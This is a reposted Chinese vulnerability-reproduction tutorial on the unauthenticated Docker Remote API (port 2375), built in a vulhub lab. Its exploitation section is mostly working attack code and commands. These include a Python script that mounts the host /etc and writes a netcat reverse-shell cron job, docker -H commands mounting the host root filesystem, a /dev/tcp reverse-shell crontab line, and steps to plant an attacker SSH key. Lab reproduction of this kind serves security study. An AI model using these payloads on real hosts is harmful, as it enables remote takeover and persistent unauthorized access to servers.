• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

漏洞复现-docker-unauthorized-rce

武飞扬头像
_s1mple
帮助1

目录

一、漏洞介绍

1.1漏洞成因

2.2环境准备

二、漏洞检测

三、漏洞利用

1.脚本利用

2.定时任务反弹shell

3. 写ssh公钥获取shell


一、漏洞介绍

1.1漏洞成因

        docker remote API未授权访问漏洞,此API主要目的是取代命令执行页面,开放2375监听容器时,会调用这个API。方便docker集群管理和扩展

2.2环境准备

        靶机环境:192.168.xx.xxx (ubuntu)

        攻击环境:192.168.xx.xxx (kali)

        在靶机上使用vulhub复现漏洞环境。

        vulhub官网地址:https://vulhub.org

  1.  
    cd /vulhub/docker/unauthorized-rce
  2.  
    docker-compose build
  3.  
    docker-compose up -d

二、漏洞检测

直接输入地址 http://your-ip:2375/version ;若能访问,证明存在未授权访问漏洞。

学新通

学新通

三、漏洞利用

1.脚本利用

kali上安装docker环境

  1.  
    apt-get install docker docker-compose
  2.  
    service docker start

 在kali上开启nc监听本地1111端口,用来接收反弹的Shell

nc -l -p 1111

使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。

  1.  
    import docker
  2.  
     
  3.  
    client = docker.DockerClient(base_url='http://your-ip:2375/')
  4.  
    data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

然后执行 python 脚本反弹Shell给Kali主机的1111端口

python docker-hack.py

执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。

我最后没弹出来shell-尴尬

2.定时任务反弹shell

docker -H tcp://x.x.x.x:2375 images 

学新通

(1)能看到宿主机的镜像,说明漏洞存在

(2)开始利用:

列出当前所有镜像

docker -H 192.168.xxx.xxx:2375 images 

学新通

列出当前所有容器

docker -H 192.168.xxx.xxx:2375 ps -a 

学新通

在宿主机上启动docker容器:

 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/bash        (113a43faa138为images ID )
 docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt e66264b98777 /bin/sh        (113a43faa138为images ID )

这条命令的意思是启动一个image ID 为e66264b98777的容器,并且将该宿主机的根目录挂在到容器的/mnt目录下

启动之后就会获得该容器宿主机的shell:

学新通

 crontab -e 写入定时任务

***** /bin/sh -i >& /dev/tcp/xxx.xxx.xxx.xxx./1234 0>&1

学新通

3. 写ssh公钥获取shell

在攻击者得v屁s上生成一对公私钥

  1.  
    >>ssh-keygen -t rsa
  2.  
    >>输入密钥名
  3.  
    >>输入密码

查看并复制服务器公钥

学新通

进入到victim挂在的目录下(/mnt/root)

学新通

进入.ssh目录,查看是否有公钥存在(如果有则将之前的公钥进行重定向覆盖)

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgabaac
系列文章
更多 icon
同类精品
更多 icon
继续加载